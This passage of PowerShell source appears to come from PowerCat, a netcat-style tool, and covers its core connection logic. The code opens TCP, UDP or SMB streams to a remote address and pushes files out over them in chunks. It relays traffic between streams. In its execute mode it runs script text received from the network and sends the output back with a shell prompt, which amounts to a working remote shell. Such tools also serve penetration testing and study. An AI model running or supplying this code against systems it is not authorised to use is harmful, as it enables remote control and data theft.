($Execute.IsPresent) { 727 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary 728 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary 729 | } 730 | return $ParameterDictionary 731 | } 732 | Begin { 733 | if ($RemoteIp -notmatch "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 734 | Write-Warning "$RemoteIp is not a valid IPv4 address." 735 | return 736 | } 737 | $ServerIp = [Net.IPAddress]::Parse($RemoteIp) 738 | 739 | switch ($Mode) { 740 | 'Smb' { 741 | try { $ClientStream = New-SmbStream $RemoteIp $ParameterDictionary.PipeName.Value $Timeout } 742 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return } 743 | continue 744 | } 745 | 'Tcp' { 746 | try { $ClientStream = New-TcpStream $ServerIp $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout } 747 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return } 748 | continue 749 | } 750 | 'Udp' { 751 | try { $InitialBytes, $ClientStream = New-UdpStream $ServerIp $ParameterDictionary.Port.Value -TimeOut $Timeout } 752 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return } 753 | } 754 | } 755 | switch ($Encoding) { 756 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue } 757 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue } 758 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue } 759 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue } 760 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue } 761 | } 762 | 763 | if ($PSCmdlet.ParameterSetName -eq 'Input') { Write-NetworkStream $Mode $ClientStream $EncodingType.GetBytes($Input) } 764 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) } 765 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { 766 | 767 | Write-Verbose "Attempting to send $SendFile" 768 | 769 | if ((Test-Path $SendFile)) { 770 | 771 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) } 772 | catch { Write-Warning $_.Exception.Message } 773 | 774 | if ($BytesLeft = $FileStream.Length) { # goto cleanup 775 | 776 | $FileOffset = 0 777 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat 778 | 779 | $BytesToSend = New-Object Byte[] 4608 780 | 781 | while ($BytesLeft -gt 4608) { 782 | 783 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 784 | [void]$FileStream.Read($BytesToSend, 0, 4608) 785 | 786 | $FileOffset += 4608 787 | $BytesLeft -= 4608 788 | 789 | Write-NetworkStream $Mode $ClientStream $BytesToSend 790 | } 791 | # Send last packet 792 | $BytesToSend = New-Object Byte[] $BytesLeft 793 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 794 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 795 | 796 | Write-NetworkStream $Mode $ClientStream $BytesToSend 797 | } 798 | else { # Only need to send one packet 799 | $BytesToSend = New-Object Byte[] $BytesLeft 800 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 801 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 802 | 803 | Write-NetworkStream $Mode $ClientStream $BytesToSend 804 | } 805 | $FileStream.Flush() 806 | $FileStream.Dispose() 807 | } 808 | if ($Mode -eq 'Smb') { $ClientStream.Pipe.WaitForPipeDrain() } 809 | if ($Mode -eq 'Tcp') { sleep 1 } 810 | } 811 | else { Write-Warning "$SendFile does not exist." } 812 | } 813 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { 814 | 815 | Write-Verbose "Setting up relay stream..." 816 | 817 | $RelayConfig = $Relay.Split(':') 818 | $RelayMode = $RelayConfig[0].ToLower() 819 | 820 | if ($RelayConfig.Count -eq 2) { # Listener 821 | switch ($RelayMode) { 822 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue } 823 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue } 824 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue } 825 | default { Write-Warning 'Invalid relay mode specified.' ; return } 826 | } 827 | } 828 | elseif ($RelayConfig.Count -eq 3) { # Client 829 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 830 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1]) 831 | switch ($RelayMode) { 832 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue } 833 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue } 834 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue } 835 | default { Write-Warning 'Invalid relay mode specified.' ; return } 836 | } 837 | } 838 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." } 839 | } 840 | else { Write-Warning 'Invalid relay format.' } 841 | } 842 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') { 843 | if ($ClientStream) { 844 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n") 845 | 846 | if ($ParameterDictionary.ScriptBlock.Value) { 847 | 848 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value 849 | 850 | $Global:Error.Clear() 851 | 852 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String)) 853 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } } 854 | } 855 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 856 | Write-NetworkStream $Mode $ClientStream $BytesToSend 857 | $ScriptBlock = $null 858 | $BytesToSend = $null 859 | } 860 | } 861 | } 862 | Process { 863 | [console]::TreatControlCAsInput = $true 864 | 865 | while ($true) { 866 | 867 | if ($PSCmdlet.ParameterSetName -eq 'SendFile' -or $Disconnect.IsPresent) { break } # Skip to Cleanup 868 | 869 | # Catch Esc / Read-Host 870 | if ([console]::KeyAvailable) { 871 | $Key = [console]::ReadKey() 872 | if ($Key.Key -eq [Consolekey]::Escape) { 873 | Write-Verbose 'Caught escape sequence, stopping PowerCat.' 874 | break 875 | } 876 | if ($PSCmdlet.ParameterSetName -eq 'Console') { 877 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n") 878 | Write-NetworkStream $Mode $ClientStream $BytesToSend 879 | } 880 | } 881 | 882 | # Get data from the network 883 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null } 884 | elseif ($ClientStream.Socket.Connected -or $ClientStream.Pipe.IsConnected) { 885 | if ($ClientStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ClientStream } 886 | else { Start-Sleep -Milliseconds 1 ; continue } 887 | } 888 | else { Write-Verbose "$Mode connection broken, exiting." ; break } 889 | 890 | # Redirect received bytes 891 | if ($PSCmdlet.ParameterSetName -eq 'Execute') { 892 | 893 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) } 894 | catch { break } # network stream closed 895 | 896 | $Global:Error.Clear() 897 | 898 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String)) 899 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } 900 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 901 | 902 | Write-NetworkStream $Mode $ClientStream $BytesToSend 903 | $BytesToSend = $null 904 | $ScriptBlock = $null 905 | continue 906 | } 907 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue } 908 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { 909 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) } 910 | catch { break } # EOF reached 911 | continue 912 | } 913 | else { # Console 914 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") } 915 | catch { break } # network stream closed 916 | } 917 | } 918 | } 919 | End { # Cleanup 920 | Write-Host "`n" 921 | 922 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() } 923 | 924 | try { Close-NetworkStream $Mode $ClientStream } 925 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" } 926 | 927 | if ($PSCmdlet.ParameterSetName -eq 'Relay') { 928 | try { Close-NetworkStream $RelayMode $RelayStream } 929 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" } 930 | } 931 | [console]::TreatControlCAsInput = $false 932 | } 933 | } --------------------------------------------------------------------------------